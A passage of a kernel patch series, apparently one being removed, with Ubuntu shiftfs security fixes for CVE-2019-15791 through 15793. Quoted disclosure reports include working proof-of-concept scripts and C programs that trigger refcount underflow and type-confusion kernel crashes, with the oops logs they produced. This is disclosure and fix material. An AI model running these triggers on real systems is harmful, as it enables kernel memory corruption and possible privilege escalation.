-+		sbinfo->creator_cred = cred_tmp;
- 	} else {
- 		/*
- 		 * This leg executes if we're admin capable in the namespace,
--- 
-2.39.2
-
-From a73880c13fc011fba13bfbf3197b98500c8c4906 Mon Sep 17 00:00:00 2001
-From: Seth Forshee <seth.forshee@×××××××××.com>
-Date: Fri, 1 Nov 2019 10:41:03 -0500
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl
- handling
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1850867
-
-shiftfs_btrfs_ioctl_fd_replace() installs an fd referencing a
-file from the lower filesystem without taking an additional
-reference to that file. After the btrfs ioctl completes this fd
-is closed, which then puts a reference to that file, leading to a
-refcount underflow. Original bug report and test case from Jann
-Horn is below.
-
-Fix this, and at the sametime simplify the management of the fd
-to the lower file for the ioctl. In
-shiftfs_btrfs_ioctl_fd_replace(), take the missing reference to
-the lower file and set FDPUT_FPUT so that this reference will get
-dropped on fdput() in error paths. Do not maintain the struct fd
-in the caller, as it the fd installed in the fd table is
-sufficient to properly clean up. Finally, remove the fdput() in
-shiftfs_btrfs_ioctl_fd_restore() as it is redundant with the
-__close_fd() call.
-
-Original report from Jann Horn:
-
-In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):
-
- src = fdget(oldfd);
- if (!src.file)
-  return -EINVAL;
- // src holds one reference (assuming multithreaded execution)
-
- ret = shiftfs_real_fdget(src.file, lfd);
- // lfd->file is a file* now, but shiftfs_real_fdget didn't take any
- // extra references
- fdput(src);
- // this drops the only reference we were holding on src, and src was
- // the only thing holding a reference to lfd->file. lfd->file may be
- // dangling at this point.
- if (ret)
-  return ret;
-
- *newfd = get_unused_fd_flags(lfd->file->f_flags);
- if (*newfd < 0) {
-  // always a no-op
-  fdput(*lfd);
-  return *newfd;
- }
-
- fd_install(*newfd, lfd->file);
- // fd_install() consumes a counted reference, but we don't hold any
- // counted references. so at this point, if lfd->file hasn't been freed
- // yet, its refcount is one lower than it ought to be.
-
- [...]
-
- // the following code is refcount-neutral, so the refcount stays one too
- // low.
- if (ret)
-  shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
-
-shiftfs_real_fdget() is implemented as follows:
-
-static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
-{
- struct shiftfs_file_info *file_info = file->private_data;
- struct file *realfile = file_info->realfile;
-
- lowerfd->flags = 0;
- lowerfd->file = realfile;
-
- /* Did the flags change since open? */
- if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
-  return shiftfs_change_flags(lowerfd->file, file->f_flags);
-
- return 0;
-}
-
-Therefore, the following PoC will cause reference count overdecrements; I ran it
-with SLUB debugging enabled and got the following splat:
-
-=======================================
-user@ubuntu1910vm:~/shiftfs$ cat run.sh
-sync
-unshare -mUr ./run2.sh
-t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
-set -e
-
-mkdir -p mnt/tmpfs
-mkdir -p mnt/shiftfs
-mount -t tmpfs none mnt/tmpfs
-mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
-mount|grep shift
-touch mnt/tmpfs/foo
-gcc -o ioctl ioctl.c -Wall
-./ioctl
-user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
-
-int main(void) {
-  int root = open("mnt/shiftfs", O_RDONLY);
-  if (root == -1) err(1, "open shiftfs root");
-  int foofd = openat(root, "foo", O_RDONLY);
-  if (foofd == -1) err(1, "open foofd");
-  struct btrfs_ioctl_vol_args iocarg = {
-    .fd = foofd
-  };
-  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
-  sleep(1);
-  void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
-  if (map != MAP_FAILED) munmap(map, 0x1000);
-}
-user@ubuntu1910vm:~/shiftfs$ ./run.sh
-none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
-/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
-[ 183.463452] general protection fault: 0000 [#1] SMP PTI
-[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
-[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
-[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
-[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
-[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
-[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
-[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
-[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
-[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
-[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
-[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
-[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
-[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
-[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
-[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
-[ 183.510580] Call Trace:
-[ 183.511396] mmap_region+0x417/0x670
-[ 183.512592] do_mmap+0x3a8/0x580
-[ 183.513655] vm_mmap_pgoff+0xcb/0x120
-[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
-[ 183.516155] __x64_sys_mmap+0x33/0x40
-[ 183.517352] do_syscall_64+0x5a/0x130
-[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
-[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
-[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
-[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
-[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
-[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
-[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
-[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
-[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
-[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
-[ 183.560350] ---[ end trace 4a860910803657c2 ]---
-[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
-[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
-[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
-[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
-[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
-[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
-[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
-[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
-[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
-[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
-[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
-[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
-[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
-=======================================
-
-Disassembly of surrounding code:
-
-55 push rbp
-4889E5 mov rbp,rsp
-4157 push r15
-4156 push r14
-4155 push r13
-4154 push r12
-488B87C8000000 mov rax,[rdi+0xc8]
-4C8B6810 mov r13,[rax+0x10]
-498B4528 mov rax,[r13+0x28]
-4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
-0F8497000000 jz near 0xcc
-4989FC mov r12,rdi
-4989F6 mov r14,rsi
-
-This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
-think this corresponds to the load of "realfile->f_op->mmap" in the source code.
-
-Reported-by: Jann Horn <jannh@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-
-CVE-2019-15791
-
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
-Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 35 +++++++++++++++++++++--------------
- 1 file changed, 21 insertions(+), 14 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 0d6ce377b07c..9a6a7ad50b90 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1389,8 +1389,7 @@ static inline bool is_btrfs_snap_ioctl(int cmd)
- 	return false;
- }
- 
--static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd,
--					  void __user *arg,
-+static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg,
- 					  struct btrfs_ioctl_vol_args *v1,
- 					  struct btrfs_ioctl_vol_args_v2 *v2)
- {
-@@ -1404,7 +1403,6 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd,
- 	else
- 		ret = copy_to_user(arg, v2, sizeof(*v2));
- 
--	fdput(lfd);
- 	__close_fd(current->files, fd);
- 	kfree(v1);
- 	kfree(v2);
-@@ -1415,11 +1413,11 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd,
- static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 					  struct btrfs_ioctl_vol_args **b1,
- 					  struct btrfs_ioctl_vol_args_v2 **b2,
--					  struct fd *lfd,
- 					  int *newfd)
- {
- 	int oldfd, ret;
- 	struct fd src;
-+	struct fd lfd = {};
- 	struct btrfs_ioctl_vol_args *v1 = NULL;
- 	struct btrfs_ioctl_vol_args_v2 *v2 = NULL;
- 
-@@ -1444,18 +1442,28 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 	if (!src.file)
- 		return -EINVAL;
- 
--	ret = shiftfs_real_fdget(src.file, lfd);
--	fdput(src);
--	if (ret)
-+	ret = shiftfs_real_fdget(src.file, &lfd);
-+	if (ret) {
-+		fdput(src);
- 		return ret;
-+	}
-+
-+	/*
-+	 * shiftfs_real_fdget() does not take a reference to lfd.file, so
-+	 * take a reference here to offset the one which will be put by
-+	 * __close_fd(), and make sure that reference is put on fdput(lfd).
-+	 */
-+	get_file(lfd.file);
-+	lfd.flags |= FDPUT_FPUT;
-+	fdput(src);
- 
--	*newfd = get_unused_fd_flags(lfd->file->f_flags);
-+	*newfd = get_unused_fd_flags(lfd.file->f_flags);
- 	if (*newfd < 0) {
--		fdput(*lfd);
-+		fdput(lfd);
- 		return *newfd;
- 	}
- 
--	fd_install(*newfd, lfd->file);
-+	fd_install(*newfd, lfd.file);
- 
- 	if (cmd == BTRFS_IOC_SNAP_CREATE) {
- 		v1->fd = *newfd;
-@@ -1468,7 +1476,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 	}
- 
- 	if (ret)
--		shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
-+		shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2);
- 
- 	return ret;
- }
-@@ -1482,13 +1490,12 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
- 	int newfd = -EBADF;
- 	long err = 0, ret = 0;
- 	void __user *argp = (void __user *)arg;
--	struct fd btrfs_lfd = {};
- 	struct super_block *sb = file->f_path.dentry->d_sb;
- 	struct btrfs_ioctl_vol_args *btrfs_v1 = NULL;
- 	struct btrfs_ioctl_vol_args_v2 *btrfs_v2 = NULL;
- 
- 	ret = shiftfs_btrfs_ioctl_fd_replace(cmd, argp, &btrfs_v1, &btrfs_v2,
--					     &btrfs_lfd, &newfd);
-+					     &newfd);
- 	if (ret < 0)
- 		return ret;
- 
-@@ -1511,7 +1518,7 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
- 	fdput(lowerfd);
- 
- out_restore:
--	err = shiftfs_btrfs_ioctl_fd_restore(cmd, btrfs_lfd, newfd, argp,
-+	err = shiftfs_btrfs_ioctl_fd_restore(cmd, newfd, argp,
- 					     btrfs_v1, btrfs_v2);
- 	if (!ret)
- 		ret = err;
--- 
-2.39.2
-
-From 187086d532fb6b5cb7785ebcb5438e170f136491 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Fri, 1 Nov 2019 14:19:16 +0100
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent type confusion
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1850867
-
-Verify filesystem type in shiftfs_real_fdget().
-
-Quoting Jann Horn:
- #################### Bug 2: Type confusion ####################
-
- shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
- passes the resulting file* into shiftfs_real_fdget(), which does this:
-
- static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
- {
-  struct shiftfs_file_info *file_info = file->private_data;
-  struct file *realfile = file_info->realfile;
-
-  lowerfd->flags = 0;
-  lowerfd->file = realfile;
-
-  /* Did the flags change since open? */
-  if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
-   return shiftfs_change_flags(lowerfd->file, file->f_flags);
-
-  return 0;
- }
-
- file->private_data is a void* that points to a filesystem-dependent type; and
- some filesystems even use it to store a type-cast number instead of a pointer.
- The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.
-
- As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
- (with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
- offset 0x10), and I use that to cause a memory dereference somewhere around
- 0x4242:
-
- =======================================
- user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
- #!/bin/sh
- sync
- unshare -mUr ./run2.sh
- user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
- #!/bin/sh
- set -e
-
- mkdir -p mnt/tmpfs
- mkdir -p mnt/shiftfs
- mount -t tmpfs none mnt/tmpfs
- mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
- mount|grep shift
- gcc -o ioctl ioctl.c -Wall
- ./ioctl
- user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
- #include <sys/ioctl.h>
- #include <fcntl.h>
- #include <err.h>
- #include <unistd.h>
- #include <linux/btrfs.h>
- #include <sys/mman.h>
-
- int main(void) {
-   // make our vmacache sequence number something like 0x4242
-   for (int i=0; i<0x4242; i++) {
-     void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
-         MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
-     if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
-     munmap(x, 0x1000);
-   }
-
-   int root = open("mnt/shiftfs", O_RDONLY);
-   if (root == -1) err(1, "open shiftfs root");
-   int foofd = open("/proc/self/environ", O_RDONLY);
-   if (foofd == -1) err(1, "open foofd");
-   // trigger the confusion
-   struct btrfs_ioctl_vol_args iocarg = {
-     .fd = foofd
-   };
-   ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
- }
- user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
- none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
- /home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
- [ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
- [ 348.105060] #PF: supervisor read access in kernel mode
- [ 348.106573] #PF: error_code(0x0000) - not-present page
- [ 348.108102] PGD 0 P4D 0
- [ 348.108871] Oops: 0000 [#1] SMP PTI
- [ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
- [ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
- [ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
- [ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
- [ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
- [ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
- [ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
- [ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
- [ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
- [ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
- [ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
- [ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
- [ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
- [ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
- [ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
- [ 348.143545] Call Trace:
- [ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
- [ 348.145562] do_vfs_ioctl+0x407/0x670
- [ 348.146620] ? putname+0x4a/0x50
- [ 348.147556] ksys_ioctl+0x67/0x90
- [ 348.148514] __x64_sys_ioctl+0x1a/0x20
- [ 348.149593] do_syscall_64+0x5a/0x130
- [ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
- [ 348.152108] RIP: 0033:0x7f77fa76767b
- [ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
- [ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
- [ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
- [ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
- [ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
- [ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
- [ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
- [ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
- [ 348.188617] CR2: 0000000000004289
- [ 348.189586] ---[ end trace dad859a1db86d660 ]---
- [ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
- [ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
- [ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
- [ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
- [ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
- [ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
- [ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
- [ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
- [ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
- [ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
- [ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
- [ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
- [ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
- Killed
- user@ubuntu1910vm:~/shiftfs_confuse$
-
-Reported-by: Jann Horn <jannh@××××××.com>
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-[ saf: use f_op->open instead as special inodes in shiftfs sbs
-  will not use shiftfs open f_ops ]
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-
-CVE-2019-15792
-
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
-Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 33 +++++++++++++++++++--------------
- 1 file changed, 19 insertions(+), 14 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 9a6a7ad50b90..897e0163005e 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1087,20 +1087,6 @@ static int shiftfs_change_flags(struct file *file, unsigned int flags)
- 	return 0;
- }
- 
--static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
--{
--	struct file *realfile = file->private_data;
--
--	lowerfd->flags = 0;
--	lowerfd->file = realfile;
--
--	/* Did the flags change since open? */
--	if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
--		return shiftfs_change_flags(lowerfd->file, file->f_flags);
--
--	return 0;
--}
--
- static int shiftfs_open(struct inode *inode, struct file *file)
- {
- 	struct file *realfile;
-@@ -1187,6 +1173,25 @@ static rwf_t shiftfs_iocb_to_rwf(struct kiocb *iocb)
- 	return flags;
- }
- 
-+static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
-+{
-+	struct file *realfile;
-+
-+	if (file->f_op->open != shiftfs_open &&
-+	    file->f_op->open != shiftfs_dir_open)
-+		return -EINVAL;
-+
-+	realfile = file->private_data;
-+	lowerfd->flags = 0;
-+	lowerfd->file = realfile;
-+
-+	/* Did the flags change since open? */
-+	if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
-+		return shiftfs_change_flags(lowerfd->file, file->f_flags);
-+
-+	return 0;
-+}
-+
- static ssize_t shiftfs_read_iter(struct kiocb *iocb, struct iov_iter *iter)
- {
- 	struct file *file = iocb->ki_filp;
--- 
-2.39.2
-
-From 7bb96158915054edeee67b13212cd19b8fff54bd Mon Sep 17 00:00:00 2001
-From: Seth Forshee <seth.forshee@×××××××××.com>
-Date: Fri, 1 Nov 2019 13:35:25 -0500
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Correct id translation for lower fs
- operations
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1850867
-
-Several locations which shift ids translate user/group ids before
-performing operations in the lower filesystem are translating
-them into init_user_ns, whereas they should be translated into
-the s_user_ns for the lower filesystem. This will result in using
-ids other than the intended ones in the lower fs, which will
-likely not map into the shifts s_user_ns.
-
-Change these sites to use shift_k[ug]id() to do a translation
-into the s_user_ns of the lower filesystem.
-
-Reported-by: Jann Horn <jannh@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-
-CVE-2019-15793
-
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
-Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 43 +++++++++++++++++++++++--------------------
- 1 file changed, 23 insertions(+), 20 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 897e0163005e..04fba4689eb6 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -83,12 +83,27 @@ static inline void shiftfs_revert_object_creds(const struct cred *oldcred,
- 	put_cred(newcred);
- }
- 
-+static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to,
-+			 kuid_t kuid)
-+{
-+	uid_t uid = from_kuid(from, kuid);
-+	return make_kuid(to, uid);
-+}
-+
-+static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to,
-+			 kgid_t kgid)
-+{
-+	gid_t gid = from_kgid(from, kgid);
-+	return make_kgid(to, gid);
-+}
-+
- static int shiftfs_override_object_creds(const struct super_block *sb,
- 					 const struct cred **oldcred,
- 					 struct cred **newcred,
- 					 struct dentry *dentry, umode_t mode,
- 					 bool hardlink)
- {
-+	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
- 	kuid_t fsuid = current_fsuid();
- 	kgid_t fsgid = current_fsgid();
- 
-@@ -100,8 +115,8 @@ static int shiftfs_override_object_creds(const struct super_block *sb,
- 		return -ENOMEM;
- 	}
- 
--	(*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
--	(*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));
-+	(*newcred)->fsuid = shift_kuid(sb->s_user_ns, sbinfo->userns, fsuid);
-+	(*newcred)->fsgid = shift_kgid(sb->s_user_ns, sbinfo->userns, fsgid);
- 
- 	if (!hardlink) {
- 		int err = security_dentry_create_files_as(dentry, mode,
-@@ -117,20 +132,6 @@ static int shiftfs_override_object_creds(const struct super_block *sb,
- 	return 0;
- }
- 
--static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to,
--			 kuid_t kuid)
--{
--	uid_t uid = from_kuid(from, kuid);
--	return make_kuid(to, uid);
--}
--
--static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to,
--			 kgid_t kgid)
--{
--	gid_t gid = from_kgid(from, kgid);
--	return make_kgid(to, gid);
--}
--
- static void shiftfs_copyattr(struct inode *from, struct inode *to)
- {
- 	struct user_namespace *from_ns = from->i_sb->s_user_ns;
-@@ -758,6 +759,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- 	struct iattr newattr;
- 	const struct cred *oldcred;
- 	struct super_block *sb = dentry->d_sb;
-+	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
- 	int err;
- 
- 	err = setattr_prepare(dentry, attr);
-@@ -765,8 +767,8 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- 		return err;
- 
- 	newattr = *attr;
--	newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid));
--	newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid));
